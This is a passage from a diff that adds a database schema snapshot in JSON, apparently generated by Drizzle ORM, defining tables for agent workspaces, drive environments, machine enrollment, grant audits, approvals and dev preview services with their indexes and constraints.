+ "default": 0
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "agent_workspace_node_revs_rootId_agent_workspaces_id_fk": {
+ "name": "agent_workspace_node_revs_rootId_agent_workspaces_id_fk",
+ "tableFrom": "agent_workspace_node_revs",
+ "tableTo": "agent_workspaces",
+ "columnsFrom": [
+ "rootId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_workspace_nodes": {
+ "name": "agent_workspace_nodes",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rootId": {
+ "name": "rootId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "parentId": {
+ "name": "parentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "nodeType": {
+ "name": "nodeType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "axis": {
+ "name": "axis",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "fraction": {
+ "name": "fraction",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "targetKind": {
+ "name": "targetKind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "targetId": {
+ "name": "targetId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "agent_workspace_nodes_one_root_idx": {
+ "name": "agent_workspace_nodes_one_root_idx",
+ "columns": [
+ {
+ "expression": "rootId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"agent_workspace_nodes\".\"nodeType\" = 'root'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_workspace_nodes_chat_target_idx": {
+ "name": "agent_workspace_nodes_chat_target_idx",
+ "columns": [
+ {
+ "expression": "targetId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"agent_workspace_nodes\".\"targetKind\" = 'chat'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_workspace_nodes_parent_idx": {
+ "name": "agent_workspace_nodes_parent_idx",
+ "columns": [
+ {
+ "expression": "rootId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "parentId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_workspace_nodes_rootId_agent_workspaces_id_fk": {
+ "name": "agent_workspace_nodes_rootId_agent_workspaces_id_fk",
+ "tableFrom": "agent_workspace_nodes",
+ "tableTo": "agent_workspaces",
+ "columnsFrom": [
+ "rootId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_workspace_nodes_rootId_parentId_agent_workspace_nodes_rootId_id_fk": {
+ "name": "agent_workspace_nodes_rootId_parentId_agent_workspace_nodes_rootId_id_fk",
+ "tableFrom": "agent_workspace_nodes",
+ "tableTo": "agent_workspace_nodes",
+ "columnsFrom": [
+ "rootId",
+ "parentId"
+ ],
+ "columnsTo": [
+ "rootId",
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "agent_workspace_nodes_rootId_id_pk": {
+ "name": "agent_workspace_nodes_rootId_id_pk",
+ "columns": [
+ "rootId",
+ "id"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "agent_workspace_nodes_root_no_parent_chk": {
+ "name": "agent_workspace_nodes_root_no_parent_chk",
+ "value": "(\"agent_workspace_nodes\".\"nodeType\" = 'root') = (\"agent_workspace_nodes\".\"parentId\" IS NULL)"
+ },
+ "agent_workspace_nodes_node_type_chk": {
+ "name": "agent_workspace_nodes_node_type_chk",
+ "value": "\"agent_workspace_nodes\".\"nodeType\" IN ('root', 'split', 'pane')"
+ },
+ "agent_workspace_nodes_target_kind_chk": {
+ "name": "agent_workspace_nodes_target_kind_chk",
+ "value": "\"agent_workspace_nodes\".\"targetKind\" IS NULL OR \"agent_workspace_nodes\".\"targetKind\" IN ('chat', 'terminal', 'page', 'ports')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.drive_envs": {
+ "name": "drive_envs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "substrate": {
+ "name": "substrate",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'sprite'"
+ },
+ "visibleToGlobalAssistant": {
+ "name": "visibleToGlobalAssistant",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "costOwnerId": {
+ "name": "costOwnerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isHome": {
+ "name": "isHome",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "spriteKey": {
+ "name": "spriteKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sandboxId": {
+ "name": "sandboxId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteInstanceId": {
+ "name": "spriteInstanceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "egressPolicyToken": {
+ "name": "egressPolicyToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "teardownRequestedAt": {
+ "name": "teardownRequestedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteTornDownAt": {
+ "name": "spriteTornDownAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageLastBilledAt": {
+ "name": "storageLastBilledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "storageMeasuredBytes": {
+ "name": "storageMeasuredBytes",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageMeasuredAt": {
+ "name": "storageMeasuredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastActiveAt": {
+ "name": "lastActiveAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "drive_envs_drive_id_idx": {
+ "name": "drive_envs_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_envs_cost_owner_idx": {
+ "name": "drive_envs_cost_owner_idx",
+ "columns": [
+ {
+ "expression": "costOwnerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_envs_drive_name_idx": {
+ "name": "drive_envs_drive_name_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "name",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_envs_home_per_drive_idx": {
+ "name": "drive_envs_home_per_drive_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"drive_envs\".\"isHome\"",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_envs_live_sprite_idx": {
+ "name": "drive_envs_live_sprite_idx",
+ "columns": [
+ {
+ "expression": "sandboxId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "spriteTornDownAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "where": "\"drive_envs\".\"sandboxId\" IS NOT NULL AND \"drive_envs\".\"spriteTornDownAt\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_envs_driveId_drives_id_fk": {
+ "name": "drive_envs_driveId_drives_id_fk",
+ "tableFrom": "drive_envs",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_envs_createdBy_users_id_fk": {
+ "name": "drive_envs_createdBy_users_id_fk",
+ "tableFrom": "drive_envs",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "drive_envs_costOwnerId_users_id_fk": {
+ "name": "drive_envs_costOwnerId_users_id_fk",
+ "tableFrom": "drive_envs",
+ "tableTo": "users",
+ "columnsFrom": [
+ "costOwnerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_envs_id_substrate_unique": {
+ "name": "drive_envs_id_substrate_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "id",
+ "substrate"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "drive_envs_substrate_check": {
+ "name": "drive_envs_substrate_check",
+ "value": "\"drive_envs\".\"substrate\" IN ('sprite', 'local')"
+ },
+ "drive_envs_local_no_sprite_check": {
+ "name": "drive_envs_local_no_sprite_check",
+ "value": "\"drive_envs\".\"substrate\" = 'sprite' OR (\"drive_envs\".\"spriteKey\" IS NULL AND \"drive_envs\".\"sandboxId\" IS NULL AND \"drive_envs\".\"spriteInstanceId\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.drive_env_local": {
+ "name": "drive_env_local",
+ "schema": "",
+ "columns": {
+ "envId": {
+ "name": "envId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "substrate": {
+ "name": "substrate",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'local'"
+ },
+ "ownerId": {
+ "name": "ownerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "label": {
+ "name": "label",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enrollmentId": {
+ "name": "enrollmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "machinePublicKey": {
+ "name": "machinePublicKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "machineKeyFingerprint": {
+ "name": "machineKeyFingerprint",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverKeyId": {
+ "name": "serverKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enrollmentCodeHash": {
+ "name": "enrollmentCodeHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enrollmentCodeExpiresAt": {
+ "name": "enrollmentCodeExpiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enrollmentCodeUsedAt": {
+ "name": "enrollmentCodeUsedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "challengeNonce": {
+ "name": "challengeNonce",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "challengeIssuedAt": {
+ "name": "challengeIssuedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "challengeExpiresAt": {
+ "name": "challengeExpiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "challengeUsedAt": {
+ "name": "challengeUsedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "capabilities": {
+ "name": "capabilities",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "daemonEpoch": {
+ "name": "daemonEpoch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerCredentials": {
+ "name": "ownerCredentials",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverPolicy": {
+ "name": "serverPolicy",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{\"ops\":[],\"checkpoint\":false}'::jsonb"
+ },
+ "bindPolicy": {
+ "name": "bindPolicy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'owner'"
+ },
+ "lastSeenAt": {
+ "name": "lastSeenAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enrolledAt": {
+ "name": "enrolledAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pausedAt": {
+ "name": "pausedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pauseOwedAt": {
+ "name": "pauseOwedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "drive_env_local_owner_id_idx": {
+ "name": "drive_env_local_owner_id_idx",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_env_local_ownerId_users_id_fk": {
+ "name": "drive_env_local_ownerId_users_id_fk",
+ "tableFrom": "drive_env_local",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_env_local_envId_substrate_drive_envs_id_substrate_fk": {
+ "name": "drive_env_local_envId_substrate_drive_envs_id_substrate_fk",
+ "tableFrom": "drive_env_local",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "envId",
+ "substrate"
+ ],
+ "columnsTo": [
+ "id",
+ "substrate"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drive_env_local_enrollment_id_unique": {
+ "name": "drive_env_local_enrollment_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "enrollmentId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "drive_env_local_substrate_check": {
+ "name": "drive_env_local_substrate_check",
+ "value": "\"drive_env_local\".\"substrate\" = 'local'"
+ },
+ "drive_env_local_enrolled_has_key_check": {
+ "name": "drive_env_local_enrolled_has_key_check",
+ "value": "\"drive_env_local\".\"enrolledAt\" IS NULL OR (\"drive_env_local\".\"machinePublicKey\" IS NOT NULL AND \"drive_env_local\".\"machineKeyFingerprint\" IS NOT NULL AND \"drive_env_local\".\"serverKeyId\" IS NOT NULL)"
+ },
+ "drive_env_local_bind_policy_check": {
+ "name": "drive_env_local_bind_policy_check",
+ "value": "\"drive_env_local\".\"bindPolicy\" IN ('owner')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.drive_env_grant_audit": {
+ "name": "drive_env_grant_audit",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "envId": {
+ "name": "envId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "grantId": {
+ "name": "grantId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sessionId": {
+ "name": "sessionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "conversationId": {
+ "name": "conversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "op": {
+ "name": "op",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "argsHash": {
+ "name": "argsHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "summary": {
+ "name": "summary",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "verdict": {
+ "name": "verdict",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "exitCode": {
+ "name": "exitCode",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "challengeId": {
+ "name": "challengeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "approvalScope": {
+ "name": "approvalScope",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ts": {
+ "name": "ts",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "resultAt": {
+ "name": "resultAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_env_grant_audit_env_ts_idx": {
+ "name": "drive_env_grant_audit_env_ts_idx",
+ "columns": [
+ {
+ "expression": "envId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "ts",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_env_grant_audit_user_ts_idx": {
+ "name": "drive_env_grant_audit_user_ts_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "ts",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_env_grant_audit_grant_id_unique": {
+ "name": "drive_env_grant_audit_grant_id_unique",
+ "columns": [
+ {
+ "expression": "grantId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"drive_env_grant_audit\".\"grantId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_env_grant_audit_envId_drive_envs_id_fk": {
+ "name": "drive_env_grant_audit_envId_drive_envs_id_fk",
+ "tableFrom": "drive_env_grant_audit",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "envId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_env_grant_audit_userId_users_id_fk": {
+ "name": "drive_env_grant_audit_userId_users_id_fk",
+ "tableFrom": "drive_env_grant_audit",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "drive_env_grant_audit_op_check": {
+ "name": "drive_env_grant_audit_op_check",
+ "value": "\"drive_env_grant_audit\".\"op\" IN ('exec', 'fs_read', 'fs_write', 'pty_open')"
+ },
+ "drive_env_grant_audit_grant_id_refused_check": {
+ "name": "drive_env_grant_audit_grant_id_refused_check",
+ "value": "(\"drive_env_grant_audit\".\"grantId\" IS NULL) = (\"drive_env_grant_audit\".\"verdict\" LIKE 'refused:%')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.drive_env_approvals": {
+ "name": "drive_env_approvals",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "envId": {
+ "name": "envId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "op": {
+ "name": "op",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "summary": {
+ "name": "summary",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scope": {
+ "name": "scope",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "daemonEpoch": {
+ "name": "daemonEpoch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokedBy": {
+ "name": "revokedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokeAcknowledgedAt": {
+ "name": "revokeAcknowledgedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revokeRemoved": {
+ "name": "revokeRemoved",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drive_env_approvals_env_idx": {
+ "name": "drive_env_approvals_env_idx",
+ "columns": [
+ {
+ "expression": "envId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drive_env_approvals_user_idx": {
+ "name": "drive_env_approvals_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drive_env_approvals_envId_drive_envs_id_fk": {
+ "name": "drive_env_approvals_envId_drive_envs_id_fk",
+ "tableFrom": "drive_env_approvals",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "envId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drive_env_approvals_userId_users_id_fk": {
+ "name": "drive_env_approvals_userId_users_id_fk",
+ "tableFrom": "drive_env_approvals",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "drive_env_approvals_scope_check": {
+ "name": "drive_env_approvals_scope_check",
+ "value": "\"drive_env_approvals\".\"scope\" IN ('session', '30d', 'until_revoked')"
+ },
+ "drive_env_approvals_ack_needs_revoke_check": {
+ "name": "drive_env_approvals_ack_needs_revoke_check",
+ "value": "\"drive_env_approvals\".\"revokeAcknowledgedAt\" IS NULL OR \"drive_env_approvals\".\"revokedAt\" IS NOT NULL"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.dev_preview_services": {
+ "name": "dev_preview_services",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "workspaceId": {
+ "name": "workspaceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "envId": {
+ "name": "envId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "spriteInstanceId": {
+ "name": "spriteInstanceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sandboxId": {
+ "name": "sandboxId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "targetPort": {
+ "name": "targetPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "relayServiceName": {
+ "name": "relayServiceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "detectedAt": {
+ "name": "detectedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stoppedByUserAt": {
+ "name": "stoppedByUserAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "approvedPort": {
+ "name": "approvedPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "approvedAt": {
+ "name": "approvedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "approvedByUserId": {
+ "name": "approvedByUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "selectedByUserAt": {
+ "name": "selectedByUserAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "dev_preview_services_sprite_instance_idx": {
+ "name": "dev_preview_services_sprite_instance_idx",
+ "columns": [
+ {
+ "expression": "spriteInstanceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dev_preview_services_workspace_id_idx": {
+ "name": "dev_preview_services_workspace_id_idx",
+ "columns": [
+ {
+ "expression": "workspaceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"dev_preview_services\".\"workspaceId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dev_preview_services_env_id_idx": {
+ "name": "dev_preview_services_env_id_idx",
+ "columns": [
+ {
+ "expression": "envId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"dev_preview_services\".\"envId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "dev_preview_services_workspaceId_agent_workspaces_id_fk": {
+ "name": "dev_preview_services_workspaceId_agent_workspaces_id_fk",
+ "tableFrom": "dev_preview_services",
+ "tableTo": "agent_workspaces",
+ "columnsFrom": [
+ "workspaceId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "dev_preview_services_envId_drive_envs_id_fk": {
+ "name": "dev_preview_services_envId_drive_envs_id_fk",
+ "tableFrom": "dev_preview_services",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "envId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "dev_preview_services_approvedByUserId_users_id_fk": {
+ "name": "dev_preview_services_approvedByUserId_users_id_fk",
+ "tableFrom": "dev_preview_services",
+ "tableTo": "users",
+ "columnsFrom": [
+ "approvedByUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "dev_preview_services_one_holder_check": {
+ "name": "dev_preview_services_one_holder_check",
+ "value": "(\"dev_preview_services\".\"workspaceId\" IS NULL) <> (\"dev_preview_services\".\"envId\" IS NULL)"
+ },
+ "dev_preview_services_target_port_range_check": {
+ "name": "dev_preview_services_target_port_range_check",
+ "value": "\"dev_preview_services\".\"targetPort\" BETWEEN 1 AND 65535"
+ },
+ "dev_preview_services_relay_never_8080_check": {
+ "name": "dev_preview_services_relay_never_8080_check",
+ "value": "\"dev_preview_services\".\"relayServiceName\" IS NULL OR \"dev_preview_services\".\"targetPort\" <> 8080"
+ },
